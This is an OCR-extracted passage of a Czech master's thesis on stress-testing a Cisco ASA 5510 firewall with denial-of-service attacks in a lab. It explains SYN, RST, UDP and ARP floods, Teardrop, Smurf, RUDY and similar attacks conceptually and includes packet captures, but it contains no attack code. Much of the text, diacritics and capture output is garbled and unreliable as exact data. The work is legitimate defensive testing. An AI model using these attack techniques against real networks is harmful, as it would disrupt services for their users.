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ABSTRAKT

Cilem této diplomové prace je testovani firewallu Cisco ASA 5510 pti plsobeni Gtoki
odepreni sluzeb. Prace obsahuje teoreticky popis vybranych Gtokd a praktické testy.
Praktickad Cast obsahuje zakladni testovani firewallu Cisco ASA pomoci testeru Spirent
Avalanche 3100B. Byl testovan pocet soubéznych TCP spojeni za sekundu a propustnost
firewallu na 7. vrstvé 1ISO/OSI modelu. Dale byl testovan vliv Gtokt odepreni sluzeb na
propustnost. V dalsi ¢asti je feSeno generovani Gtokd z linuxového serveru na firewall za
pomoci skript v jazyku Python. Témito skripty lze generovat pét typd DoS atokd.

KLICOVA SLOVA
Utok, DoS, DDoS, Spirent Avalanche 3100B, firewall, Python, ASA

ABSTRACT

The aim of this Master thesis is a testing of Cisco ASA5510 firewall with affect of
Denial of Service attacks. Part of the thesis is a teoretical description some of the
attacks and practical tests. Practical part covers basic testing of Cisco ASA with Spirent
Avalanche 3100B. Number of TCP connections per second and firewalls throughput on
7th layer of 1ISO/OSI model were tested. Also the effect of Denial of Service attacks
on the throughput. In a next part there is described one possible way how to generate
Denial of Service attacks from a Linux server to the firewall. Python scripts were used
for generation DoS packets. With those scripts it is possible to generate five types of
attacks.
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UVOD

Tato prace se vénuje problematice testovani sitovych tutoki typu odepreni sluzeb,
anglicky ,Denial of Service®“. Cilem titoku je znemoznit pouzivani sluzby ze strany
uzivatel. Modifikovana verze tohoto utoku je takzvany distribuovany DoS, DDoS.
Jeho podstatou je vedeni ttoku z vice zdroju.

Sitovy prvek, ktery by mél byt schopen odolat tomuto typu ttoku, je firewall.
funkcénost pribézné vylepsovat. Neustale se vSak zdokonaluji i itoky vedené proti
sitim. Cesta ke zlepSeni jde pres dikladné testovani firewalli. Jednou z moznosti
jak provadét testovani je pouzivat specializované zarizeni, které je schopno genero-
vat pozadované utoky. K tomuto testovani je mozné pouzit specializované zarizeni
Spirent Avalanche 3100B.

Teoreticky tivod diplomové préce je vénovan popisum vybranych sitovych ttoki.
Prednostné jsou vybrany ty, které je mozné simulovat pomoci Spirent Avalanche.
Prakticka c¢ast je rozdélena do t¥i podéasti.

V prvni je firewall podroben testim generovanym ze Spirent Avalanche. Cilem
bylo nalézt referencni hodnoty pro nasledujici méreni. Testy ¢astecné vychazeji z do-
poruceni IETF RFC 3511. Toto doporuceni popisuje testovani firewallii a nasledné
zpracovani vysledki testt. Ukolem testt bylo zjistit chovan{ firewallu pii zékladnim
nastaveni. To znamené bez jakychkoli mechanismt branicim ttoku.

V druhé c¢asti byl pouzit linuxovy server, ze kterého byly generovany ttoky. V této
¢4sti neprobihal Gtok na firewall ale na PC, kde probihalo vyhodnoceni. Uéelem bylo
zmeéreni sily ttoku pro pouziti ve tieti casti.

V posledni ¢asti byly ttoky vedené ze serveru na firewall. Avalanche byl pouzit
pro simulaci legitimniho provozu. Cilem bylo zjistit, jestli je itok z jednoho serveru

schopen omezit ¢i Uplné prerusit legitimni provoz.
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1 TYPY UTOKU ODEPRENI SLUZEB

Utok odepfenim sluzby, anglicky Denial of Service, znamen4, %e Gto¢nik zaplavuje
cilovou stanici nevyzadanym provozem. Jakmile jsou na cilové stanici vycerpany sys-
témové zdroje, systém, popripadeé sluzba, se stane nedostupnou. Distribuovany ttok
pracuje na stejném principu az na to, ze generovani provozu neprobihd z jednoho

zdroje, ale je rozprostfeno mezi mnoho zdroju.

1.1 Utoky ze zafizeni Spirent Avalanche

1.1.1 SYN flood

SYN flood ttok je jednim z moznych zptsobti zneuziti TCP protokolu. TCP jakozto
spojové orientovany protokol musi pred zaslanim uzivatelskych dat sestavit spojeni.
Toto spojeni se sestavuje pomoci tzv. ,,3-way handshake® —klient vysila SYN paket
pro inicializaci spojeni.

V momenté, kdy prijemce paket tispésné prijme, se pro sestavované spojeni rezer-
vuji urcité zdroje. Stav spojeni je tzv. ,SYN RECV*“. Nastavi se casovac, kterym
se omezuje doba ptrichodu ACK paketu (3. v poradi). Vyhradi se ur¢ity prostor v pa-
méti a v neposledni fadé prijemce odesle SYN-ACK paket zpatky klientovi (obr. 1.2).

V tento moment prijemce ocekava prichod ACK paketu, obrazek 1.1.

\SYN
Utoénik SYN\ y Cil Gtoku
\ ‘

Obr. 1.1: SYN Flood ttok [3]

Pokud utoc¢nik tto¢i na port, na kterém neposlouchd zadna aplikace, systém
odesila TCP paket s priznaky RST, ACK (obr. 1.3).

14



11 21.86.28.186 11.0.0.40 TCP 60 40560 :> ftp [SY'N] Seq=0 H1n=3192 Len=0

11.0.0.40 .97.
8 B6.97.133.246 11.0.0.4
9 11.0.0.40 9 3

. 246 http > 56733 [R5T, ACK] Seqg=1 Ack=1 win=0 Len=0
TCP 60 48509 = http [5YN] Seq=0 win=8192 Len=0

. 246 http > 48509 [R5T, ACK] Seqg=1 Ack=1 win=0 Len=0
TCP 60 32463 = http [5YN] Seq=0 win=8192 Len=0

10 86.97.133.246 11.0.0.4

Obr. 1.3: Odpovédi systému na nepouzivany port

V pripadé utoku utoc¢nik zasila velké mnozstvi SYN paketii, ¢imz snizuje piijemci

volné zdroje az na minimum [3].

1.1.2 Reset Flood

Utocnik posild mnozstvi TCP paket® s pifiznakem reset —RST (obr.1.4). Toto te-
oreticky miize zptisobit resetovani legitimnich TCP spojeni. Predpokladem ovSem
je, ze utocnik zfalsuje zdrojovou IP adresu, TCP port a hlavné spravnou kombinaci
sekvencnich c¢isel. Toto je vSak mélo pravdépodobné.

Na obrazku 1.5 jsou zachyceny pakety probihajiciho FTP pfenosu (pakety ¢. 65, 69).
RST paket uprostied ma korektni zdrojovou IP adresu a cilovy port (FTP 20),
ostatni parametry jsou nahodné. Je vidét, Ze na sestavené spojeni nema RST paket
vliv.

11.0.0.40 twamp-control > ftp [R5T] Seq=1 wWin=8192 Len=0
11.0.0.40 39021 > frp [R5T] Seg=1l wWin=8192 Len=0

11.0.0.40 21084 > http [RS5T] Seg=1 wWin=8192 Len=0
11.0.0.40 1 seg=1 wWin=8192 Len=0

W] 11 ) ) \ '
.19 .0.0. & 7 seg=1l Win=8192 Len=0
19 11.0.0.40 TCP 66 37232 > frp-data [ACK] Seg=1l Ack=151887 Win=564128 Len=0

Obr. 1.5: RST Flood utok na spojeni

1.1.3 XMasTree

Utocnik vytvoi TCP paket, ve kterém jsou kontrolni p¥{znaky (vSechny nebo ne-
platné kombinace) nastaveny na hodnotu ,,1“. Tato situace v legitimni provozu ne-
nastava. Systémy, které nejsou osetTeny proti tomuto tutoku, mohou havarovat. Je
vyuzivan také pro tzv. OS fingerprinting. Velice ¢asta je kombinace kontrolnich pii-
znakii PSH, FIN, URG.

15



Na obrazku1.6 jsou vidét XMasTree pakety prichézejici na otevieny port (pa-
kety ¢.3,7) i na uzavieny port (pakety ¢.14,18). V obou ptipadech je odpovédi
napadeného systému paket s priznaky RST, ACK.

3 11.0.0.19 11.0.0.40 TCP 60 spw-dialer > ftp [FIN, P5H, URG] Seg=1 Win=8192 urg=0 Len=0
4 .0.0, 4 .0.0.19 4 ftp > spw-dialer [R5T, ACK] Seq=1 Ack=2 wWin=0 Len=0
7
8

11.0.0.19 11.0.0.40 TCP 60 14701 > ftp [FIN, P5H, URG] Seq=1 Win=B192 uUrg=0 Len=0
1 ftp > 14701 [RST, ACK] Seg=l Ack=2 win=0 Len=0

0 20687 > http [FIN, P5H, URG] Seg=1 Win=8192 Urg=0 Len=0

4 http > 20687 [RST, ACK] Seq=1 Ack=2 win=0 Len=0

18 11.0.0.19 11.0.0.40 TCP 60 29507 > http [FIN, P5H, URG] Seg=1 Win=8192 Urg=0 Len=0
1 http > 29507 [RST, ACK] Seq=1 Ack=2 win=0 Len=0

5
14 11.0.0.19 11.0.0.40 TCP ©
5

Obr. 1.6: Odpovédi systému na XMasTree pakety

1.1.4 UDP Flood

Jeden z nejstarsich zastupci DoS ttokt. Vzhledem k tomu, ze UDP protokol je bez-
stavovy, je charakteristika Gtoku velice prostd. Uto¢nik zasild velké mnozstvi UDP
datagramu na cilovy systém s cilem ho zahltit (obr.1.7). Cilovy systém kontroluje
prijimané UDP datagramy, aby zjistil poslouchajici aplikaci. Pokud neni aplikace na-
lezena, vrati ICMP zpravu Destination Unreachable (Typ 3) —viz zachycené pakety
programem Wireshark (obr. 1.8). Uto¢nik vybird nahodné cilové porty [5].

Hlavicka UDP protokolu je na obrazku 2.4 v kapitole 2.2.

H =
\UDP

Utognik sw\ Cil dtoku
\

Obr. 1.7: UDP Flood ttok [5]
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1203 163. 207.82. 50 11.0.0.40 UDP 60 source port: locus-disc Destination port: http
1204 11.0.0.40 163.207.82.5 ICMP 70 pestination unreachable (Port unreachable)
1205 163.207.82. 50 11.0.0.40 UDP 60 Source port: 56155 Destination port: http
1206 11.0.0.40 163.207.82.50 ICMP 70 pestination unreachable (Port unreachable)
1207 163.207.82.50 11.0.0.40 UDP 60 Source port: 64503 Destination port: http

Obr. 1.8: ICMP odpovédi na UDP pakety

1.1.5 ARP Flood

Utok vyuzivd ARP protokol, ktery pracuje na linkové vrstvé. ARP je urcen k zisk4ni
adresy sitové vrstvy, napt IP. Struktura ARP ramce je na obrazku 1.9. Podrobnéjsi
popis viz tab. 1.1. Cilem ttoku je zahltit cil mnozstvim ARP ramcu typu ,,ARP
Request“ nebo ,ARP Reply*“.

< Bity >
ol1]2]3]4]s[6]7[8]9]10][11]12][13]14]15]16]17][18]19[20]21]22]23]24[25]26[27] 28] 29]30]31
A
0 Protokol linkové vrstvy (HTYPE) Protokol sitové vrstvy (PTYPE)
4 Délka adresy linkové vrstvy Délka adresy sitové vrstvy Typ operace (OPER)
(HLEN) (PLEN)
o 8 Linkova adresa odesilatele (SHA)
E
12 Sitova adresa odesilatale (SPA)
16 Linkova adresa cile (THA)
20
v
24 Sitova adresa cile (TPA)

Obr. 1.9: ARP struktura [17]

Na obrazku 1.10 jsou zachyceny ramce ARP protokolu. Paket ¢islo 2 je typu ARP
Request (OPER = 1). Paket ¢islo 3 je odpovédi systému na predchozi request.
Posledni paket je typu ARP Reply (OPER = 2). Na tento ramec systém nijak

neodpovida.

2 00:00:00:42:25:62 08:00:27:d0:0f:03 ARP 60 who has 11.0.0.407 Tell 11.0.0.19
3 08:00:27:d0:0f:03 00:00:00:42:25:62 ARP 42 11.0.0.40 is at 08:00:27:d0:0f:03
17 00:00:00:42:25:62 08:00:27:d0:0f:03 ARP 60 11.0.0.19 is at 00:00:00:42:25:62

Obr. 1.10: Zachycené ramce ARP protokolu

1.1.6 Ping of Death

Velmi stary typ utoku, ktery uz nelze pouzit proti modernim systémum. Program
Ping zasilda ICMP zpravy ,Echo request® (ICMP typ 8) a ,Echo reply“ (ICMP
typ 0) a zpracovava prijaté odpovédi. Typicka velikost paketu je 84 bajtu (véetné
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Pole Délka (B) | popis

HTYPE 2 specifikace linkové vrstvy (Ethernet, HDLC...)
PTYPE 2 specifikace sitové vrstvy —IPv4 =6

HLEN 1 délka linké adresy —Ethernet =6

PLEN 1 délka sitové adresy —I1Pv4 =4

OPER 2 typ operace— ARP Reply =2

SHA HLEN | zdrojova linkova adresa

SPA PLEN zdrojova sitova adresa

THA HLEN | cilova linkova adresa

TPA PLEN cilova sitova adresa

Tab. 1.1: ARP pole [17]

[P hlavicky). Staré verze systému nezvladaly paket vétsi nez definované maximum
65535 bajta (RFC 791 [20]). Prijeti takového paketu zapficinilo pad systému [6].

1.1.7 Smurf utok

Je zalozen na moznosti zaslat do sité pakety s cilovou vSsesmérovou adresou. Zdrojova
adresa je nastavena na adresu cile utoku, obr.1.11. Utok rychle vycerpava sitku

pasma, coz znemoznuje legitimni provoz.

Utoénik Cil Gtoku
U
I

| |
( D

B X
|

X |
gi

Obr. 1.11: Smurf utok [16]

—

18



1.1.8 Evasive UDP

Evasive UDP je modifikace UDP flood ttoku[9]. Generované UDP pakety maji

riznou délku, coz stézuje moznost detekce utoku.

1.1.9 LAND

Local Area Network Denial je ttok vyuZivajici IP protokol. Uto¢nik zasle cili IP
paket se stejnou zdrojovou a cilovou IP adresou napadeného [2]. Timto zptsobem
vznikne smycka, cil si posila pakety sam sobé. Opét pri velkém poctu takovychto

pakett Ize systém zahltit.

1.1.10 Ping Sweep

Je utok urceny pro pruzkum sité. Jednd se o vygenerovani velkého mnozstvi ICMP
Echo zprav na rtzné cilové IP adresy. Utoénik odekdvd Echo-reply odpovédi pro
zjisténi, které IP adresy jsou pouzivany. V pripadé, ze z IP adresy dojde odpovéd,

utocnik vi, Ze je tato pouzivand a muze na ni zaitocit.

1.1.11 Unreachable Host

Tento Gtok opét vyuzivd ICMP protokol. Uto¢nik zasila ICMP zpravy typu 3-—
Destination Unreachable, kod 3 — Port Unreachable [21]. Touto zpravou je oznameno
jednomu z komunikujicich, Ze cil je nedostupny. Napadeny pocita¢ poté ukonéi pro-
bihajici TCP spojeni [11].

1.1.12 Teardrop

Teardrop utok vyuziva fragmentaci IP paketti. Pokud jsou data fragmentovana do
vice IP paketii, je mimo jiné nastavena nova hodnota do pole Offset fragmentu
v hlavicce IP [4]. Offset fragmentu je ¢islo urcujici pofadi paketu tak, aby piijemce
byl schopen data tspésné defragmentovat. Pole, ktera jsou ovlivnéna fragmentaci,
jsou zvyraznéna na obrazku 1.12

Utok spocivéa v odesilani fragmentovanych paketi cili. Offset fragmentu je oviem
nastaven tak, aby se pfi defragmentaci pakety prekryvaly. Toto muze nékteré typy

operacnich systému vytradit z provozu.
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Bity >

A

ol1]2]3]4a[s5]6|7]8[9]10]11]12]13]14]15]16[17]128[19]20[21]22[23]24]25]26[27]28[29]30]31
A
0 Verze IHL Typ sluzby Celkova délka
4 Identifikace Priznaky Offset fragmentu
R [DF[mF
.| 8 TTL Cislo protokolu Kontrolni souget hlavi¢ky
E
12 Zdrojova IP adresa
16 Cilova IP adresa
720 Nastaveni Vypln
A
24 Data

Obr. 1.12: Pole pouzivané k fragmentaci [20]

1.1.13 Distribuovany DoS (DDoS)

Je modifikovana verze DoS ttoku. Zdroje titoku jsou ovsem distribuovany mezi sys-
témy, tim dochazi k nasobeni sily ttoku. Toho je dosazeno kompromitovanim sys-
tému a vytvorenim tzv. botnetu [18]. Botnet je soustava zkompromitovanych sys-
tému, nazyvanych zombie. Timto se znasobuje vykon utoku, ktery muze pochazet
z riznych siti (obr. 1.13), takZe neni jednoduché ho blokovat. Utocnik si tedy napied

musi vytvorit botnet sit, ¢ehoz dosdhne naptiklad viry, trojskymi konmi atd.

1.2 Dalsi typy DoS utoku

1.2.1 SYN Flood se sestavenym spojenim

Jednd se o roziifeni SYN Flood ttoku. Utoénik s obéti sestavi kompletni 3-way
handshake, ale poté jiz neposila zadna data. Spojeni je udrzovano az do vyprseni
¢asovacul. Protoze je spojeni (itok) vytvoreno stejnym zptsobem jako legitimni spo-

jeni, je slozité tento typ utoku odhalit.

1.2.2 Reflected Attack (RDoS)

V tomto pripadé nejde o typ utoku jako takovy. Jedna se o techniku, ktera znasobi
dopad na cilovy systém. Utoénik v tomto piipadé zasle paket se zdrojovou adresou
cile itoku na co nejvétsi mnozstvi systémi. Tyto systémy nasledné odeslou odpoveéd
na cilovy systém. Ten je zaplaven ACK pakety z mnoha zdroji, ¢imz je ochromena

jeho ¢innost.
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Obr. 1.13: DDOS 1tok [18]

1.2.3 Permanent DoS (PDoS)

Tyto utoky poskodi cilovy systém (vétSinou sitové prvky) takovym zpusobem, ze
je nutny zasah do hardwarové konfigurace systému. Nejde tedy o vyrazeni sluzby,
ale o odstaveni hardwaru. Uto¢nik vyuZivé zranitelnosti systému k p¥ehrani cilo-
vého firmwaru firmwarem poskozenym. To je umoznéno vétsinou tim, ze vzdalena
aktualizace firmwaru (flashing) je nezabezpecena. Tento typ ttoku se také nazyva
,phlashing“.

1.2.4 R-U-Dead-Yet?(RUDY)

HTTP DoS ttok. Utoénik otevira HT'TP (7. vrstva OSI) spojeni na webovy server.
Vyuziva se tzv. nikdy nekonciciho POST [7]. Utocnik odesild jeden bajt POST pole
za druhym.

RUDY 1tok tedy generuje maly provoz, coz znesnadnuje jeho detekci. Server ceka
na nekoncici POST pole, aby ho mohl zpracovat. Diivodem, pro¢ servery cekaji,
je to, aby mohly obslouzit uzivatele s pomalou rychlosti pripojeni k siti. RUDY

samozrejmé otevira vice takovychto spojeni naraz, aby cilové zdroje vycerpal.
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2 ZAKLADNI TYPY FIREWALLU

Firewall je prvek slouzici k filtrovani provozu, ktery muze pracovat jiz od druhé
vrstvy sitového modelu ISO/OSI. Nékteré funkce firewallu jsou casto implemento-
vany do jinych zafizeni napt. smérovacu ¢i jako samostatny software koncové sta-
nice. V pripadé autonomniho provedeni se pocitd s nasazenim na hranici privatni
sité (mysleno duvéryhodné, bezpecné), viz obrazek 2.1. Pocatky firewallt sahaji do
80. let 20.stoleti, jednalo se o paketové firewally (filtry) [23].

PFichozi spojeni———»

——Vnit¥ni rozhrani—{ m

Firewall

<4—Q0dchozi spojent

Obr. 2.1: Firewall

2.1 Paketovy filtr

Je zakladnim typem firewallu [23]. Prichozi paket postupné prochazi preddefinova-
nymi pravidly, pokud alespon jedno povolujici splni, je preposlan do sité. Pravidla
jsou definovana podle hlavi¢ek paket a podle rozhrani filtru, na ktery paket prijde.
Paketovy filtr pracuje na sitové a transportni vrstvé. Doporuceny postup definice
pravidel je, aby pakety, které nejsou explicitné povoleny urcitym pravidlem, byly
zakazany.

Na obrazku 2.2 je zobrazena struktura IP hlavicky. Zelené jsou oznacena pole,
ktera piimo souviseji s funkei paketového filtru [12]. Stejné znaceni je pouzito u TCP
hlavicky na obrazku 2.3.

Vyhodou tohoto typu firewallu je jeho jednoduchost. Filtr nenahlizi do dat vys-

Sich vrstev, coz minimalizuje zpozdéni.
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ol1[2[3]4a]s5]6|7]8]9]10]11][12]{13]14]15]16[17[18]19]20]21]22]23|24]25]26]27[28]29]30]31
A
0 Verze IHL Typ sluzby Celkova délka
4 Identifik Priznaky Offset fragmentu
entifikace RIDFlMF set frag
- 8 TTL Cislo protokolu Kontrolni soucet hlavicky
E
12 Zdrojova IP adresa
16 Cilova IP adresa
20 Nastaveni Vypln
v
24 Data

Obr. 2.2: Hlavicka IP paketu [20]

2.2 Stavovy firewall

Tento typ firewallu udrzuje v paméti relace protokolu TCP [22]. Princip funkce je
propustit z vnéjsiho sméru (Internet) pouze takova spojeni, kterd navazuji na spo-
jeni z vnitini sité do vnéjsi sité (obr. 2.1). Stavova inspekce sleduje odchozi spojeni
(z vnitini sité), ke kterym si v paméti uklada tzv. stavy a jejich parametry. K pticho-
zimu paketu je vyhledan korespondujici zaznam ve stavové paméti. Pokud takovyto
zédznam neni nalezen, je paket podroben zdkladnim paketovym pravidlim. Pokud
nevyhovuje pravidlim, je zahozen.

Stavovy firewall pracuje se stejnymi poli v hlavickach paketi jako paketovy fi-
rewall. V pripadé TCP protokolu ale navic pracuje i s poli ,Sekvenc¢ni cislo® a

kontrolnimi bity. Viz oranzova pole na obrazku 2.3.

Bity >

<
<

ol1]2]3]4a]s5]6|7]8]9]10l11]12]13]14]15[16[17]18]19]20]21[22]23]24]25]26]27]28]29]30]31

0 Zdrojovy port Cilovy port
4 Sekvencni ¢islo
8 Potvrzovaci €islo
2
a j ECN Kontrolni bity .
12| Datovy offset | Rezerva Velikost okna
N C EJU A P R S F
16 Kontrolni soucet Urgent ukazatel
20 Volby a vypln (volitelné)
v
24 Data

Obr. 2.3: Hlavitka TCP paketu [22]
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Stavy jsou odvozeny od 3-way handshake. Prvni paket spojeni v odchozim sméru
musi mit TCP priznak SYN (5. kontrolni bit ma hodnotu ,,1*) a ddle ma ndhodné vy-
generované sekvencni ¢islo SN C. Tyto parametry uvozuji stav nazyvajici se ,New“.
Paket, ktery je odpovédi na prvni paket, prijde na firewall v pfichozim sméru (viz
obr.2.1) a musi mit ptiznaky SYN a ACK v hodnoté ,,1“. Potvrzujici sekvence ma
hodnotu SN C+1. Sekvencni ¢islo je na strané serveru opét vygenerovano nahodné
(SN_S). Tento stav je nazyvan ,Established“. Pokud firewall pro tento paket ve
stavu ,,Established“ najde ve své stavové paméti stav ,New* s odpovidajicimi pa-
rametry (SN C+1), paket je propustén do vnitini sité.

Dalsim stavem je tzv. ,Invalid“. Tomuto stavu odpovidaji ptichozi pakety, ke
kterym nebylo nalezeno v paméti odpovidajici odchozi spojeni, a proto nejsou pro-
pustény do vnitini sité.

Moderni typy firewallii dovoluji provadét stavovou inspekci i nad nespojové ori-
entovanymi protokoly. Napriklad nad protokolem UDP nebo ICMP. Na obrazku 2.4
je hlavicka protokolu UDP. Firewall ma velmi omezené moznosti kontroly relaci.
Hlavicka obsahuje pouze zdrojovy a cilovy port, délku a kontrolni soucet. Z toho

jsou podle RFC 768 [19] povinna pouze pole Cilovy port a Kontrolni soucet.

Bity >
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ol1]2]3]4a]s5[6|7]8]9]10[11]12]13]14]15[16[17]18]19]20]21[22]23]24]25]26(27]28]29]30]31

0 Zdrojovy port Cilovy port

Bajty

4 Délka Kontrolni soucet

Data

Obr. 2.4: Hlavicka UDP paketu [19]

2.3 Aplikacni firewall

Aplika¢ni firewall nahlizi do paketii a kontroluje data na aplika¢ni vrstvé, napf.
HTTP provoz. Z toho plyne, ze pracuje na vsech vrstvach modelu ISO/OSI. Muze
blokovat i nékteré viry nebo zamezovat porusovani firemnich politik. Funguji jako
aktivni prostfednik mezi klientem a serverem. Pokud je provoz mezi klientem a ser-
ver Sifrovany, musi mit firewall schopnost tento provoz desifrovat. Mtize zajistovat
autentiza¢ni mechanismus pro ovéreni klientti.

Vyhodou je tiplna kontrola nad sifovym provozem. Nevyhodou je vypocetni né-

rocnost, vétsi zpozdéni sitového provozu a vyssi narocnost na spravu.
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3 METODIKA TESTOVANI FIREWALLU

vvvvv

kace pred utoky. Proto je velmi dulezité je pravidelné testovat jak na vykon, tak na
bezpecnost.

IETF RFC 3511[14] je norma popisuji doporu¢ené postupy pii testovani vykon-
nosti firewallu. Dale také popisuje specifika popisu vysledkii provedenych testu.
Norma pokryva testovani forwarding, connection, latency a filtrovani. Vybrana do-

poruceni této normy byly zohlednény v provadénych mérenich.

3.1 Definice testu

3.1.1 Topologie

V této préci je testovany firewall zapojen v tzv. dual —homed zapojeni (obr. 3.1). To
znamena, ze se pracuje se dvéma rozhranimi. Jedno slouzi jako privatni, vnitini, bez-
pecné, chranéné apod. Druhé jako tzv. vnéjsi, nebezpecné, Internetové, nechranéné

apod. Chranénd zarizeni jsou na strané privatniho rozhrani.

[
g
— 14
Testovany
FW

Vnéjsi sit - Internet Privatni sit

Obr. 3.1: Zakladni topologie

3.1.2 Virtualni klienti / servery

Tento bod definuje pocet zdroju datovych tokt. Vice datovych zdroji muze sdilet
stejna rozhrani firewallu. Pro potreby zatézového testu bylo vytvoreno 100 virtual-

nich klient a jeden virtualni server.
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3.1.3 Pozadavky na provoz

Vzhledem k tomu, ze moderni firewally pracuji az na aplikacni vrstvé OSI modelu,
je nutné zvolit odpovidajici charakter provozu. RFC3511 doporucuje pouzivat apli-
kacni protokol HTTP/1.1 nebo novéjsi.

3.1.4 Rizeni toku

Tento bod definuje smér toku dat mezi rozhranimi firewallu. V topologii dual-homed
jsou dvé moznosti toku od klienta k serveru. Prvni moznosti je tok dat z vnitini do

vnéjsi sité, druhou je z vnéjsi do vnitini, viz obr. 2.1.

3.1.5 Nastaveni pravidel firewallu

Pravidla definuji, ktery paket FW propusti, a ktery zahodi. Je doporucovano provést
testy s rtuznymi pravidly. Takto lze urcit dopad na propustnost firewallu. Firewall

by také mél zahazovat provoz, ktery neni explicitné povolen predchozimi pravidly.

3.2 Vybrané testy

3.2.1 Soubézna kapacita TCP spojeni

Cilem tohoto testu je zjisténi maximalniho poc¢tu soubéznych TCP spojeni, ktera je
firewall schopen udrzet ve své spojové tabulce.

Parametry testu jsou:

o zatéz, definovand jako pocet spojeni za sekundu;

o Aging time, Cas, po ktery jsou uchovavana spojeni v tabulce firewallu po prijeti

TCP FIN nebo RST paketu;

o pouzita verze HT'TP protokolu;

« velikost dat (Bajt) prenasenych v HTTP odpovédi na GET pozadavek.

Test postupnou iteraci zjistuje maximalni pocet soubéznych TCP spojeni. Pro
kazdou iteraci je vybrana rtizna hodnota soubéznych spojeni. Cil itoku je smérovan
na IP adresu serveru. Virtualni klienti museji zadat o data pomoci GET metody
HTTP protokolu verze 1.1 nebo vyssi. Mezi kazdou iteraci testu musi byt casova

prodleva presahujici definovany Aging time.

3.2.2 Schopnost zvladnuti DoS

Cilem je zjistit efekt utoku odepfeni sluzeb na firewall a vliv itoku na tUspésnost
HTTP transakci.
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Parametry testu: (mimo parametri zminénych v kapitole 3.2.1) je to jesté SYN
zatéz, definovand jako mnozstvi paketl za sekundu.

Postup testovani je identicky s kapitolou3.2.1. Navic je generovan DoS ttok
cileny na server. Zarizeni generujici DoS utok musi byt v nechranéné siti a nesmi

odpovidat na SYN-ACK odpovédi napadeného serveru.
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4 7ZARIZENI V LABORATORNICH SiTiCcH

4.1 Cisco ASA 5510

Firewall je soucésti fady Cisco 5500 Series Adaptive Security Aplliances [1]. Je urceny
pro nasazeni ve stfednich podnikovych sitich. ASA je integrované reseni zahrnujici:
firewall a VPN koncentrator (obr.4.1). Umoznuje také virtualizovat své funkce do
az péti virtualnich zarizeni. Disponuje péti Gigabit-ethernetovymi porty.

Pridavny modul CSC-SSM-10 umoznuje néasledujici: Antivirus, Anti-Spyware,
Anti-Spam, Anti-Phishing, IPS. Pro konfiguraci je mozné pouzit piimy konzolovy
pristup ¢i protokoly Telnet, SSH. Pro pohodInéjsi spravu je urcena graficka aplikace
Cisco ASDM. Tato aplikace komunikuje s ASA pres HT'TPS protokol. Je napsana
v jazyku JAVA, coz umoznuje instalaci na vétsinu platforem.

Instalovand verze operacniho systému Cisco Adaptive Security Appliance Soft-

ware pouzitd v laboratornich métenich byla 8.3(1).

urs

i
H

-0
L

LEL e -
“ed asco ASASS10 semes

Obr. 4.1: Cisco ASA 5510

4.2 Spirent Avalanche 3100B

Spirent Avalanche 3100B (obr.4.2) je zafizeni urcené k testovani sitové infrastruk-
tury, jeji bezpecnosti, vykonnosti a kapacity [8]. Dale umoznuje testovani webovych
sluzeb a QoS. Pro testovani sitové infrastruktury je mozné generovat definovany pro-
voz na ISO/OSI vrstvach 4 az 7 rychlosti az 10 Gb/s. Maximalni pocet generovanych

spojeni je 30 miliont. Vybrané technické parametry jsou zminény v tabulce4.1.
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Obr. 4.2: Spirent Avalanche 3100B

4.2.1 Zptsoby zatéze

Zpusoby zatéze definuji moznosti jejtho generovani [9].

SimUsers

V tomto modu tester simuluje zadany pocet uzivatelu v siti. Kazdy uzivatel vyko-
nava akce z takzvaného ActionListu. ActionList je seznam akci, které kazdy uzivatel
vykona. Prikladem akce muze byt nacteni webové stranky, odeslani emailové zpravy
pres SMTP protokol apod.

Zateéz je generovana tak, aby dosahla zadaného maxima a zaroven bylo mozné
udrzovat zadany pocet SimUsers. Umoznuje zjistit maximalni pocet soucasné komu-

nikujicich uzivateli, ktery je sit schopna zvladnout.

Connections

Connection je kanal mezi dvéma systémy. Spojeni mohou byt kratkodoba, dlouho-
doba nebo stala. Avalanche v tomto zpusobu zatéze vyuziva TCP protokol.

Avalanche vytvari definovany pocet spojeni. Jakmile je spojeni ukonceno, Ava-
lanche vytvori nové. Cilem je tedy udrzovat definovany pocet spojeni konstantni.
Timto zptisobem je mozné zjistit maximalni pocet TCP spojeni, jaky je testované
zatizeni schopné zvladnout.

Lze pouzivat s protokoly vyssich vrstev, které vyuzivaji TCP. Napt.: HT'TP,
FTP, SMTP. Tento méd je vhodny pro testovani firewallt a IDS systémii.

Transactions

Definuje mnozstvi simultannich transakci. Za transakci se povazuje inicializace a
uspésné sestaveni spojeni, napt HI'TP. V tomto médu Avalanche generuje a udrzuje

zatéz tak, aby byl dosazen definovany pocet transakci. Prikladem transakce je stazeni
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souboru z FTP serveru, odeslani emailu pres SMTP. M6d Transactions je vhodny

pro testovani SSL akceleratorii, Web cache systémri.

Bandwidth

Umoznuje zjistit schopnost sitovych prvki zvladnout definovany bandwidth. Tento
mod je vhodny pro testovani prvkt nizsich OSI vrstev. Typicky routery, switche.
Béhem testovani je dulezité, aby hodnota bandwidth neptfesahla hodnotu v prostredi

realného nasazeni. Napriklad pokud mé linka pro pripojeni firewallu k Internetu

maximalni rychlost 10 Mb/s, je nutné se pod touto hodnotou drzet.

Pocet testovacich uzivatel
Sifova rozhrani

Sitové protokoly
Podporované IP verze
Zapouzdrovaci protokoly
Transportni protokoly
Aplika¢ni protokoly
Autentizacni protokoly
Hlasové protokoly
Hlasové kodeky

Video protokoly

Video kodeky

Bezpecnostni testovani

12

12%x10/100/1000 Mb/s Ethernet +4x10Gb/s SFP
DHCP, PPPoE, IPSec

Pv4, TPv6

802.1Q, 802.1 Q-in-Q

TCP, UDP, SSLv2

HTTP, HTTPS, FTP, DNS, Telnet, SMTP, POP3
802.1x,NAS, Radius

SIP (ptes TCP i UDP)

G711A,G711U,G723.1

RTSP, RTP, IGMPv2, IGMPv3

MPEG-1,H.261, MPEG-2,H.262, MPEG-4,H.264
L.2/L4 DDOS

Tab. 4.1: Spirent Avalanche 3100B - vybrané parametry [9]

4.3 Server

Pro generovani DoS itoku byl pouzit server s opera¢nim systémem Debian 7.4. Hard-

warova konfigurace serveru je popsana v tabulce 4.2.

CPU | Intel Xeon E5310 @1,6 GHz
RAM 2GB / 333 MHz
HDD WDC WD2500-250 GB
Sit 2x1Gb/s

Tab. 4.2: Server—HW parametry
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Operacni systém Debian byl nainstalovan ve verzi 7.4.0-amd64. Instalace byla
provedena pomoci Netinstall image (obr. 4.3). Distribuce jiz obsahuje jazyk Python

ve verzi 2.7.3.

I ['1 Software selection |

At the moment, only the core of the system is installed. To tune the system to your
needs, you can choose to install one or more of the following predefined collections of
software.
